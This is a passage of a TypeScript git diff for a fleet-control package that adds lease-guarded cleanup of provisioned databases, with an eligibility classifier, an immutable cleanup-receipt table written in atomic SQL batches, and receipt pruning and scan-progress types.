receiptMalformed(); + } + return { + version: 1, + operationId: candidate.operationId, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + backend: candidate.backend as ProvisioningBackendKind, + scriptName: candidate.scriptName, + databaseId: candidate.databaseId, + databaseName: candidate.databaseName, + authority: candidate.authority, + admittedPhase: candidate.admittedPhase as ProvisioningPhase, + disposition: candidate.disposition, + evidence: cleanupReceiptEvidenceFromUnknown(candidate.evidence), + ...(safeIntegerAtLeast(candidate.completedAtMs) + ? { completedAtMs: candidate.completedAtMs } + : {}), + }; +} + +function canonicalSortedKeyValue(value: unknown): unknown { + if (Array.isArray(value)) return value.map(canonicalSortedKeyValue); + if (!value || typeof value !== 'object') return value; + return Object.fromEntries( + Object.keys(value as Record) + .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)) + .map((key) => [ + key, + canonicalSortedKeyValue((value as Record)[key]), + ]), + ); +} + +/** + * @internal Canonical sorted-key serialization of receipt evidence, used both + * when building the receipt insert and in the state-store convergence + * comparison so evidence byte comparison never depends on object-literal key + * order. + */ +export function canonicalCleanupEvidenceBytes( + evidence: CleanupReceiptEvidence, +): string { + return JSON.stringify(canonicalSortedKeyValue(evidence)); +} + +/** + * Option A eligibility classifier for no-export database deletion. Pure: it + * decides ELIGIBILITY only and has no provider-database input; the terminal + * receipt disposition is decided inside the database-deletion group by the + * `findDatabase`/reconcile outcome. + */ +export function classifyCleanupDatabaseEligibility( + input: Readonly<{ + record: FleetRecord; + /** backend.immutableExternalArtifacts === true, captured at admission and persisted in the intent. */ + externalArtifact: boolean; + }>, +): + | Readonly<{ + eligible: true; + eligibility: + | 'carrier-null' + | 'legacy-phase-impossible' + | 'reservation-only'; + }> + | Readonly<{ + eligible: false; + reason: + | 'invocation-authorized' + | 'legacy-phase-ambiguous' + | 'carrier-phase-inconsistent' + | 'malformed-carrier' + | 'phase-requires-decommission' + | 'untrusted-data-binding' + | 'external-staging-evidence'; + }> { + const { record } = input; + if (!CLEANUP_ADMITTED_PHASES.includes(record.phase)) { + return { eligible: false, reason: 'phase-requires-decommission' }; + } + if ( + record.backend === 'workers-for-platforms' || + input.externalArtifact === true + ) { + return { eligible: false, reason: 'untrusted-data-binding' }; + } + if ( + record.activeRelease !== undefined || + record.pendingRelease !== undefined || + record.migrationPriorRelease !== undefined || + record.rollbackRelease !== undefined || + record.retiringRelease !== undefined || + record.platformTarget !== undefined || + record.migrationIntent !== undefined || + // The spec scopes the pending-digest evidence to prepublication phases; + // every admitted phase is prepublication, so no phase qualifier is needed. + record.pendingArtifactVersion !== undefined || + record.pendingSpecDigest !== undefined + ) { + return { eligible: false, reason: 'external-staging-evidence' }; + } + const reservation = RESERVATION_PHASES.includes(record.phase); + if (Object.hasOwn(record, 'invocationAuthority')) { + let carrier: InvocationAuthorityCarrier; + try { + carrier = invocationAuthorityCarrierFromUnknown( + record.invocationAuthority, + ); + } catch { + return { eligible: false, reason: 'malformed-carrier' }; + } + if (typeof carrier.authorizedAt === 'string') { + return { eligible: false, reason: 'invocation-authorized' }; + } + if (record.phase === 'maintenance-armed') { + return { eligible: false, reason: 'carrier-phase-inconsistent' }; + } + return reservation + ? { eligible: true, eligibility: 'reservation-only' } + : { eligible: true, eligibility: 'carrier-null' }; + } + if (reservation) { + return { eligible: true, eligibility: 'reservation-only' }; + } + if (LEGACY_IMPOSSIBLE_PHASES.includes(record.phase)) { + return { eligible: true, eligibility: 'legacy-phase-impossible' }; + } + return { eligible: false, reason: 'legacy-phase-ambiguous' }; +} diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 4711cd37..28724643 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -80,6 +80,10 @@ import { function canonicalNormalDecommissionRecord(record: FleetRecord): FleetRecord { const { decommissionIntent, ...source } = record; try { + // A cleanup intent never rides beside a decommission shell; fail closed. + if (record.cleanupIntent !== undefined) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } const intent = decommissionAdvanceIntentFromUnknown( decommissionIntent, source, diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts index 45bf0d41..ac7b9bbf 100644 --- a/packages/fleet-control/src/state-store.ts +++ b/packages/fleet-control/src/state-store.ts @@ -7,6 +7,15 @@ import { backendSwitchIntentFromUnknown, structuralBackendSwitchFleetRecordFromUnknown, } from './backend-switch.js'; +import { + CLEANUP_INTENT_BYTE_BOUND, + canonicalCleanupEvidenceBytes, + cleanupAdvanceIntentFromUnknown, + cleanupReceiptEvidenceFromUnknown, + cleanupTerminalReceiptFromUnknown, + invocationAuthorityCarrierFromUnknown, + normalizeCleanupAdvanceIntent, +} from './cleanup-intent.js'; import { DECOMMISSION_INTENT_BYTE_BOUND, decommissionAdvanceIntentFromUnknown, @@ -26,6 +35,7 @@ import { externalReleaseTopologyFromUnknown, } from './release-topology.js'; import type { + CleanupTerminalReceipt, DeploymentEgressPolicy, DurableObjectMigration, ExternalMigrationIntent, @@ -118,6 +128,7 @@ const TABLE = 'anchorage_fleet_deployments'; const LEASE_TABLE = 'anchorage_fleet_leases'; const PLATFORM_CLAIM_TABLE = 'anchorage_platform_plane_claims'; const PLATFORM_LEASE_TABLE = 'anchorage_platform_plane_leases'; +const CLEANUP_RECEIPT_TABLE = 'anchorage_fleet_cleanup_receipts'; const LEASE_TTL_MS = 15 * 60_000; const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000; const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; @@ -144,6 +155,8 @@ const FLEET_ROW_COLUMNS = [ 'migration_intent', 'backend_switch_intent', 'decommission_intent', + 'cleanup_intent', + 'invocation_authority', 'durable_object_tag', 'durable_object_migration_history', 'durable_object_migration_history_digest', @@ -170,6 +183,8 @@ export const ADDED_NULLABLE_TEXT_COLUMNS = [ 'backend_switch_intent', 'settled_settlement_key', 'decommission_intent', + 'cleanup_intent', + 'invocation_authority', ] as const; function isDuplicateColumnError( @@ -601,6 +616,14 @@ function invalidDecommissionIntent(): Error { return new Error('fleet state row has invalid decommission_intent'); } +function invalidCleanupIntent(): Error { + return new Error('fleet state row has invalid cleanup_intent'); +} + +function invalidInvocationAuthority(): Error { + return new Error('fleet state row has invalid invocation_authority'); +} + function optionalDecommissionIntent( value: unknown, record: Omit, @@ -627,8 +650,66 @@ function optionalDecommissionIntent( } } +function optionalCleanupIntent( + value: unknown, + record: Omit, +): FleetRecord['cleanupIntent'] { + if (value === null || value === undefined) return undefined; + if (typeof value !== 'string' || value.length > CLEANUP_INTENT_BYTE_BOUND) { + throw invalidCleanupIntent(); + } + let parsed: unknown; + try { + if ( + new TextEncoder().encode(value).byteLength > CLEANUP_INTENT_BYTE_BOUND + ) { + throw invalidCleanupIntent(); + } + parsed = JSON.parse(value) as unknown; + return cleanupAdvanceIntentFromUnknown(parsed, record); + } catch { + throw invalidCleanupIntent(); + } +} + +function optionalInvocationAuthority( + value: unknown, +): FleetRecord['invocationAuthority'] { + if (value === null || value === undefined) return undefined; + if (typeof value !== 'string') throw invalidInvocationAuthority(); + try { + return invocationAuthorityCarrierFromUnknown(JSON.parse(value) as unknown); + } catch { + throw invalidInvocationAuthority(); + } +} + +/** + * Mirrors the cleanup-specific #putUnderLease invariant: an active cleanup + * owns the whole record, so no other durable intent may ride beside it. + * Phase pairing is enforced by effectiveLifecyclePhase. + */ +function assertCleanupIntentExclusive(record: FleetRecord): void { + if (!record.cleanupIntent) return; + if (record.decommissionIntent) { + throw new Error('cleanup intent cannot coexist with a decommission intent'); + } + if (record.migrationIntent) { + throw new Error('cleanup intent cannot coexist with a migration intent'); + } + // No switch-bearing record can legitimately carry a cleanup intent: cleanup + // admission is restricted to prepublication phases, and every record with a + // backend-switch intent — settled or not — lives at 'ready' or later. + if (record.backendSwitchIntent) { + throw new Error( + 'cleanup intent cannot coexist with a backend switch intent', + ); + } +} + function validateRecordCrossFields(record: FleetRecord): void { const phase = effectiveLifecyclePhase(record); + assertCleanupIntentExclusive(record); const { activeRelease, backend, @@ -1213,11 +1294,45 @@ function toRecord(row: Readonly>): FleetRecord { if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR); throw invalidDecommissionIntent(); } + let rawCleanupIntent: unknown; + try { + const value = row.cleanup_intent; + if (value !== null && value !== undefined) { + if ( + typeof value !== 'string' || + value.length > CLEANUP_INTENT_BYTE_BOUND || + new TextEncoder().encode(value).byteLength > CLEANUP_INTENT_BYTE_BOUND + ) { + throw new Error(); + } + rawCleanupIntent = JSON.parse(value) as unknown; + } + } catch { + if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR); + throw invalidCleanupIntent(); + } + let rawInvocationAuthority: unknown; + try { + const value = row.invocation_authority; + if (value !== null && value !== undefined) { + if (typeof value !== 'string') throw new Error(); + rawInvocationAuthority = JSON.parse(value) as unknown; + } + } catch { + if (backendSwitchIntent) throw new Error(BACKEND_SWITCH_RECORD_ERROR); + throw invalidInvocationAuthority(); + } const reconstructed = structuralBackendSwitchFleetRecordFromUnknown({ ...provisional, ...(rawDecommissionIntent === undefined ? {} : { decommissionIntent: rawDecommissionIntent }), + ...(rawCleanupIntent === undefined + ? {} + : { cleanupIntent: rawCleanupIntent }), + ...(rawInvocationAuthority === undefined + ? {} + : { invocationAuthority: rawInvocationAuthority }), }); if (reconstructed.carriesBackendSwitchAuthority) { const canonical = backendSwitchFleetRecordFromUnknown( @@ -1226,8 +1341,12 @@ function toRecord(row: Readonly>): FleetRecord { validateRecordCrossFields(canonical); return canonical; } - const { decommissionIntent: _rawDecommissionIntent, ...normalProvisional } = - reconstructed.record; + const { + decommissionIntent: _rawDecommissionIntent, + cleanupIntent: _rawCleanupIntent, + invocationAuthority: _rawInvocationAuthority, + ...normalProvisional + } = reconstructed.record; const decommissionIntent = optionalDecommissionIntent( row.decommission_intent, normalProvisional, @@ -1238,9 +1357,21 @@ function toRecord(row: Readonly>): FleetRecord { ) { throw invalidDecommissionIntent(); } + const cleanupIntent = optionalCleanupIntent( + row.cleanup_intent, + normalProvisional, + ); + if (normalProvisional.phase === 'cleanup-advancing' && !cleanupIntent) { + throw invalidCleanupIntent(); + } + const invocationAuthority = optionalInvocationAuthority( + row.invocation_authority, + ); const record: FleetRecord = { ...normalProvisional, ...(decommissionIntent ? { decommissionIntent } : {}), + ...(cleanupIntent ? { cleanupIntent } : {}), + ...(invocationAuthority ? { invocationAuthority } : {}), }; validateRecordCrossFields(record); return record; @@ -1259,8 +1390,19 @@ function normalizeRecordForWrite(record: FleetRecord): FleetRecord { if (hasDecommissionIntent && suppliedDecommissionIntent === undefined) { throw invalidDecommissionIntent(); } + const hasCleanupIntent = Object.hasOwn(record, 'cleanupIntent'); + const suppliedCleanupIntent = record.cleanupIntent; + if (hasCleanupIntent && suppliedCleanupIntent === undefined) { + throw invalidCleanupIntent(); + } + const hasInvocationAuthority = Object.hasOwn(record, 'invocationAuthority'); + const suppliedInvocationAuthority = record.invocationAuthority; + if (hasInvocationAuthority && suppliedInvocationAuthority === undefined) { + throw invalidInvocationAuthority(); + } const provisional = { ...record }; delete provisional.decommissionIntent; + delete provisional.cleanupIntent; let decommissionIntent: FleetRecord['decommissionIntent']; try { decommissionIntent = hasDecommissionIntent @@ -1274,13 +1416,38 @@ function normalizeRecordForWrite(record: FleetRecord): FleetRecord { } catch { throw invalidDecommissionIntent(); } + let cleanupIntent: FleetRecord['cleanupIntent']; + try { + cleanupIntent = hasCleanupIntent + ? normalizeCleanupAdvanceIntent( + suppliedCleanupIntent as NonNullable, + provisional, + ) + : undefined; + } catch { + throw invalidCleanupIntent(); + } + let invocationAuthority: FleetRecord['invocationAuthority']; + try { + invocationAuthority = hasInvocationAuthority + ? invocationAuthorityCarrierFromUnknown(suppliedInvocationAuthority) + : undefined; + } catch { + throw invalidInvocationAuthority(); + } + delete provisional.invocationAuthority; const normalized: FleetRecord = { ...provisional, ...(decommissionIntent ? { decommissionIntent } : {}), + ...(cleanupIntent ? { cleanupIntent } : {}), + ...(invocationAuthority ? { invocationAuthority } : {}), }; if (record.phase === 'decommission-advancing' && !decommissionIntent) { throw invalidDecommissionIntent(); } + if (record.phase === 'cleanup-advancing' && !cleanupIntent) { + throw invalidCleanupIntent(); + } validateRecordCrossFields(normalized); return normalized; } @@ -1350,6 +1517,8 @@ export class D1FleetStateStore migration_intent TEXT, backend_switch_intent TEXT, decommission_intent TEXT, + cleanup_intent TEXT, + invocation_authority TEXT, durable_object_tag TEXT, durable_object_migration_history TEXT, durable_object_migration_history_digest TEXT, @@ -1409,6 +1578,20 @@ export class D1FleetStateStore owner_token TEXT NOT NULL, expires_at INTEGER NOT NULL )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${CLEANUP_RECEIPT_TABLE} ( + operation_id TEXT NOT NULL PRIMARY KEY, + tenant_tag TEXT NOT NULL, + environment TEXT NOT NULL, + backend TEXT NOT NULL, + script_name TEXT NOT NULL, + database_id TEXT NOT NULL, + database_name TEXT NOT NULL, + authority TEXT NOT NULL CHECK (authority IN ('manual-cleanup', 'provisioning-rollback')), + admitted_phase TEXT NOT NULL, + disposition TEXT NOT NULL CHECK (disposition IN ('prepublication-owned-no-export', 'reservation-cleared')), + evidence TEXT NOT NULL, + completed_at_ms INTEGER NOT NULL + )`); } async withDeploymentLease( @@ -1460,6 +1643,10 @@ export class D1FleetStateStore put: (record) => this.#putUnderLease(tenantTag, environment, token, record), delete: () => this.#deleteUnderLease(tenantTag, environment, token), + completeCleanup: (input) => + this.#completeCleanupUnderLease(tenantTag, environment, token, input), + deleteReleasingClaims: () => + this.#deleteReleasingClaimsUnderLease(tenantTag, environment, token), }), operation, }); @@ -1867,6 +2054,20 @@ export class D1FleetStateStore ) { throw invalidDecommissionIntent(); } + const cleanupIntent = record.cleanupIntent + ? JSON.stringify(record.cleanupIntent) + : null; + if ( + typeof cleanupIntent === 'string' && + (cleanupIntent.length > CLEANUP_INTENT_BYTE_BOUND || + new TextEncoder().encode(cleanupIntent).byteLength > + CLEANUP_INTENT_BYTE_BOUND) + ) { + throw invalidCleanupIntent(); + } + const invocationAuthority = record.invocationAuthority + ? JSON.stringify(record.invocationAuthority) + : null; if ( record.migrationIntent && record.backendSwitchIntent && @@ -1877,6 +2078,13 @@ export class D1FleetStateStore 'only a settled backend switch can coexist with migration intent', ); } + if ( + (record.cleanupIntent && record.phase !== 'cleanup-advancing') || + (record.phase === 'cleanup-advancing' && !record.cleanupIntent) + ) { + throw invalidCleanupIntent(); + } + assertCleanupIntentExclusive(record); const releases = [ record.activeRelease, record.pendingRelease, @@ -1941,6 +2149,8 @@ export class D1FleetStateStore ? JSON.stringify(record.backendSwitchIntent) : null, decommissionIntent, + cleanupIntent, + invocationAuthority, record.durableObjectTag ?? null, record.durableObjectMigrationHistory ? JSON.stringify(record.durableObjectMigrationHistory) @@ -1964,7 +2174,8 @@ export class D1FleetStateStore database_name, schema_version, artifact_version, desired_spec_digest, pending_spec_digest, pending_artifact_version, active_release, pending_release, migration_prior_release, rollback_release, retiring_release, outbound_policy, platform_resources, - platform_target, migration_intent, backend_switch_intent, decommission_intent, durable_object_tag, + platform_target, migration_intent, backend_switch_intent, decommission_intent, cleanup_intent, + invocation_authority, durable_object_tag, durable_object_migration_history, durable_object_migration_history_digest, durable_object_bindings, application_resources, application_bindings, route_hostname, phase, @@ -1975,7 +2186,7 @@ export class D1FleetStateStore WHERE tenant_tag = ? AND environment = ? AND owner_token = ? AND expires_at > ${DB_NOW_MS} ) THEN ? ELSE NULL END, - ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? + ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? WHERE true ON CONFLICT (tenant_tag, environment) DO UPDATE SET backend = excluded.backend, @@ -1998,6 +2209,8 @@ export class D1FleetStateStore migration_intent = excluded.migration_intent, backend_switch_intent = excluded.backend_switch_intent, decommission_intent = excluded.decommission_intent, + cleanup_intent = excluded.cleanup_intent, + invocation_authority = excluded.invocation_authority, durable_object_tag = excluded.durable_object_tag, durable_object_migration_history = excluded.durable_object_migration_history, durable_object_migration_history_digest = excluded.durable_object_migration_history_digest, @@ -2285,6 +2498,371 @@ export class D1FleetStateStore } } + /** + * One atomic batch: immutable receipt insert, identity-scoped claims + * release, and Fleet-row delete, each guarded by the live lease and the + * exact operation AND revision. Atomicity assumption: `#db.batch` delegates + * to `D1Database.batch`, which D1 executes as a single auto-commit + * transaction; the harness partial-state convergence test proves it. + */ + async #completeCleanupUnderLease( + tenantTag: string, + environment: string, + token: string, + input: Readonly<{ + receipt: CleanupTerminalReceipt; + expectedRevision: number; + }>, + ): Promise { + const receipt = cleanupTerminalReceiptFromUnknown(input.receipt); + if (receipt.completedAtMs !== undefined) { + throw new Error('cleanup receipt completedAtMs is database-assigned'); + } + if ( + receipt.tenantTag !== tenantTag || + receipt.environment !== environment + ) { + throw new Error( + `deployment lease '${tenantTag}:${environment}' cannot write '${receipt.tenantTag}:${receipt.environment}'`, + ); + } + if ( + !Number.isSafeInteger(input.expectedRevision) || + input.expectedRevision < 0 + ) { + throw new Error( + 'completeCleanup expectedRevision must be a non-negative safe integer', + ); + } + // json_extract yields a JSON number (SQLite INTEGER affinity), so the + // revision binding MUST be a JS Number. + const expectedRevision = Number(input.expectedRevision); + const evidence = canonicalCleanupEvidenceBytes(receipt.evidence); + const identity = `deployment:${tenantTag}:${environment}`; + const rowGuard = `EXISTS ( + SELECT 1 FROM ${TABLE} + WHERE tenant_tag = ? AND environment = ? + AND phase = 'cleanup-advancing' + AND json_extract(cleanup_intent, '$.operationId') = ? + AND json_extract(cleanup_intent, '$.revision') = ?)`; + const leaseGuard = `EXISTS ( + SELECT 1 FROM ${LEASE_TABLE} + WHERE tenant_tag = ? AND environment = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS})`; + let results: + | readonly (readonly Readonly>[])[] + | undefined; + let batchFailed = false; + let batchError: unknown; + try { + results = await this.#db.batch([ + { + sql: `INSERT INTO ${CLEANUP_RECEIPT_TABLE} ( + operation_id, tenant_tag, environment, backend, script_name, + database_id, database_name, authority, admitted_phase, disposition, + evidence, completed_at_ms + ) SELECT ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ${DB_NOW_MS} + WHERE ${leaseGuard} + AND ${rowGuard} + RETURNING operation_id`, + bindings: [ + receipt.operationId, + receipt.tenantTag, + receipt.environment, + receipt.backend, + receipt.scriptName, + receipt.databaseId, + receipt.databaseName, + receipt.authority, + receipt.admittedPhase, + receipt.disposition, + evidence, + tenantTag, + environment, + token, + tenantTag, + environment, + receipt.operationId, + expectedRevision, + ], + }, + { + sql: `DELETE FROM ${PLATFORM_CLAIM_TABLE} + WHERE account_id = ? AND resource_set_key = ? + AND platform_plane_identity = ? + AND ${leaseGuard} + AND ${rowGuard} + RETURNING resource_type, resource_name`, + bindings: [ + this.#accountId, + identity, + identity, + tenantTag, + environment, + token, + tenantTag, + environment, + receipt.operationId, + expectedRevision, + ], + }, + { + sql: `DELETE FROM ${TABLE} + WHERE tenant_tag = ? AND environment = ? + AND phase = 'cleanup-advancing' + AND json_extract(cleanup_intent, '$.operationId') = ? + AND json_extract(cleanup_intent, '$.revision') = ? + AND ${leaseGuard} + RETURNING tenant_tag, environment`, + bindings: [ + tenantTag, + environment, + receipt.operationId, + expectedRevision, + tenantTag, + environment, + token, + ], + }, + ]); + } catch (error) { + batchFailed = true; + batchError = error; + } + if (results) { + const inserted = results[0] ?? []; + const deletedRow = results[2] ?? []; + if ( + inserted.length === 1 && + inserted[0]?.operation_id === receipt.operationId && + deletedRow.length === 1 && + deletedRow[0]?.tenant_tag === tenantTag && + deletedRow[0]?.environment === environment + ) { + return await this.#readPersistedCleanupReceipt(receipt, evidence); + } + } + const owned = await this.#db.query( + `SELECT owner_token FROM ${LEASE_TABLE} + WHERE tenant_tag = ? AND environment = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS}`, + [tenantTag, environment, token], + ); + if (owned.length !== 1 || owned[0]?.owner_token !== token) { + throw this.#leaseLost(tenantTag, environment); + } + const stored = await this.#db.query( + `SELECT * FROM ${CLEANUP_RECEIPT_TABLE} WHERE operation_id = ?`, + [receipt.operationId], + ); + const storedRow = stored[0]; + if (stored.length === 1 && storedRow) { + if (!this.#cleanupReceiptRowMatches(storedRow, receipt, evidence)) { + throw new Error( + `cleanup receipt conflict for operation '${receipt.operationId}'`, + ); + } + const rows = await this.#db.query( + `SELECT tenant_tag FROM ${TABLE} + WHERE tenant_tag = ? AND environment = ?`, + [tenantTag, environment], + ); + const claims = await this.#db.query( + `SELECT resource_type FROM ${PLATFORM_CLAIM_TABLE} + WHERE account_id = ? AND resource_set_key = ?`, + [this.#accountId, identity], + ); + if (rows.length === 0 && claims.length === 0) { + return this.#cleanupReceiptFromRow(storedRow); + } + throw new Error( + `deployment '${tenantTag}:${environment}' has a mixed atomic cleanup commit`, + ); + } + if (batchFailed) throw batchError; + throw new Error( + `deployment '${tenantTag}:${environment}' has no matching active cleanup operation`, + ); + } + + async #readPersistedCleanupReceipt( + receipt: CleanupTerminalReceipt, + evidence: string, + ): Promise { + const stored = await this.#db.query( + `SELECT * FROM ${CLEANUP_RECEIPT_TABLE} WHERE operation_id = ?`, + [receipt.operationId], + ); + const row = stored[0]; + if ( + stored.length !== 1 || + !row || + !this.#cleanupReceiptRowMatches(row, receipt, evidence) + ) { + throw new Error( + `cleanup receipt conflict for operation '${receipt.operationId}'`, + ); + } + return this.#cleanupReceiptFromRow(row); + } + + #cleanupReceiptRowMatches( + row: Readonly>, + receipt: CleanupTerminalReceipt, + evidence: string, + ): boolean { + let storedEvidence: string; + try { + const parsed = cleanupReceiptEvidenceFromUnknown( + JSON.parse(String(row.evidence)) as unknown, + ); + storedEvidence = canonicalCleanupEvidenceBytes(parsed); + } catch { + return false; + } + return ( + row.operation_id === receipt.operationId && + row.tenant_tag === receipt.tenantTag && + row.environment === receipt.environment && + row.backend === receipt.backend && + row.script_name === receipt.scriptName && + row.database_id === receipt.databaseId && + row.database_name === receipt.databaseName && + row.authority === receipt.authority && + row.admitted_phase === receipt.admittedPhase && + row.disposition === receipt.disposition && + storedEvidence === evidence + ); + } + + #cleanupReceiptFromRow( + row: Readonly>, + ): CleanupTerminalReceipt { + try { + const evidence = row.evidence; + if (typeof evidence !== 'string') throw new Error(); + return cleanupTerminalReceiptFromUnknown({ + version: 1, + operationId: row.operation_id, + tenantTag: row.tenant_tag, + environment: row.environment, + backend: row.backend, + scriptName: row.script_name, + databaseId: row.database_id, + databaseName: row.database_name, + authority: row.authority, + admittedPhase: row.admitted_phase, + disposition: row.disposition, + evidence: JSON.parse(evidence) as unknown, + completedAtMs: Number(row.completed_at_ms), + }); + } catch { + throw new Error('fleet state row has invalid cleanup receipt'); + } + } + + /** + * Force path: releases this deployment's current claims and deletes the + * Fleet row in one lease-guarded batch, with the same converged/lease-lost + * postcondition as the plain row delete. No receipt is written or read. + */ + async #deleteReleasingClaimsUnderLease( + tenantTag: string, + environment: string, + token: string, + ): Promise { + const identity = `deployment:${tenantTag}:${environment}`; + const results = await this.#db.batch([ + { + sql: `DELETE FROM ${PLATFORM_CLAIM_TABLE} + WHERE account_id = ? AND resource_set_key = ? + AND platform_plane_identity = ? + AND EXISTS ( + SELECT 1 FROM ${LEASE_TABLE} + WHERE tenant_tag = ? AND environment = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS}) + RETURNING resource_type, resource_name`, + bindings: [ + this.#accountId, + identity, + identity, + tenantTag, + environment, + token, + ], + }, + { + sql: `DELETE FROM ${TABLE} + WHERE tenant_tag = ? AND environment = ? + AND EXISTS ( + SELECT 1 FROM ${LEASE_TABLE} + WHERE tenant_tag = ? AND environment = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS} + ) + RETURNING tenant_tag, environment`, + bindings: [tenantTag, environment, tenantTag, environment, token], + }, + ]); + const deleted = results[1] ?? []; + if (deleted.length === 1) return; + const owned = await this.#db.query( + `SELECT owner_token FROM ${LEASE_TABLE} + WHERE tenant_tag = ? AND environment = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS}`, + [tenantTag, environment, token], + ); + if (owned.length !== 1 || owned[0]?.owner_token !== token) { + throw this.#leaseLost(tenantTag, environment); + } + } + + async readCleanupReceipt( + operationId: string, + ): Promise { + if (typeof operationId !== 'string' || operationId.length === 0) { + throw new Error('readCleanupReceipt requires an operation id'); + } + await this.#ensureSchema(); + const rows = await this.#db.query( + `SELECT * FROM ${CLEANUP_RECEIPT_TABLE} WHERE operation_id = ?`, + [operationId], + ); + const row = rows[0]; + if (rows.length === 0 || !row) return undefined; + if (rows.length > 1) { + throw new Error('cleanup receipt key is not unique'); + } + return this.#cleanupReceiptFromRow(row); + } + + async pruneCleanupReceipts( + input: Readonly<{ completedBeforeMs: number; limit: number }>, + ): Promise> { + const { completedBeforeMs, limit } = input; + if (!Number.isSafeInteger(limit) || limit < 1 || limit > 1_000) { + throw new Error( + 'pruneCleanupReceipts limit must be an integer from 1 to 1000', + ); + } + if (!Number.isSafeInteger(completedBeforeMs)) { + throw new Error( + 'pruneCleanupReceipts completedBeforeMs must be a safe integer', + ); + } + await this.#ensureSchema(); + const deleted = await this.#db.query( + `DELETE FROM ${CLEANUP_RECEIPT_TABLE} + WHERE operation_id IN ( + SELECT operation_id FROM ${CLEANUP_RECEIPT_TABLE} + WHERE completed_at_ms < ? + ORDER BY completed_at_ms ASC, operation_id ASC + LIMIT ?) + RETURNING operation_id`, + [completedBeforeMs, limit], + ); + return { deleted: deleted.length }; + } + async list(): Promise { await this.#ensureSchema(); const rows = await this.#db.query( diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 4a4386aa..932f21a4 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -208,6 +208,7 @@ export const PROVISIONING_PHASES = [ 'migrating', 'ready', 'decommission-advancing', + 'cleanup-advancing', 'decommissioning', 'traffic-removed', 'credentials-revoked', @@ -721,6 +722,239 @@ export type DecommissionAttachmentScanResult = status: 'drift'; }>; +/** Versioned provider-neutral candidate-invocation authority carrier. */ +export interface InvocationAuthorityCarrier { + readonly version: 1; + /** ISO timestamp of the durable authorization commit, or null when never authorized. */ + readonly authorizedAt: string | null; +} + +/** Purpose binding that decommission codecs structurally reject. */ +export interface CleanupAttachmentPurpose { + readonly kind: 'cleanup-database-pre-delete'; + readonly databaseId: string; + readonly operationId: string; +} + +/** + * Durable scan progress DEFINED here, mirroring the existing + * `DecommissionAttachmentProgress` precedent field for field. types.ts does + * NOT import cloudflare-worker-attachment-scan-state.ts. There is NO + * conversion function: exactly like decommission today, the engine passes + * `intent.progress` to the backend scan capability directly and, on a pending + * chunk, validates the returned value with `parseWorkerAttachmentScanProgress` + * and assigns it structurally (the shapes are identical). + */ +export type CleanupAttachmentProgress = + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'ordinary-script-inventory'; + ordinaryInventorySha256?: string; + scriptIndex: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'ordinary-deployment'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'ordinary-version'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + deploymentSha256: string; + versionIndex: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'dispatch-namespace-inventory'; + ordinaryInventorySha256: string; + namespaceInventorySha256?: string; + namespaceIndex: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'dispatch-script-page'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }> + | Readonly<{ + version: 1; + target: + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + evidenceSha256: string; + evidenceCount: number; + stage: 'dispatch-script-settings'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + nextCursor?: string; + pageSha256: string; + pageItemCount: number; + itemOffset: number; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }>; + +/** One bounded cleanup attachment-scan pass and its durable progress. */ +export interface CleanupAttachmentScan { + readonly purpose: CleanupAttachmentPurpose; + readonly pass: 'discover' | 'verify'; + readonly progress: CleanupAttachmentProgress; + /** Present only during the verify pass. */ + readonly discoverEvidence?: 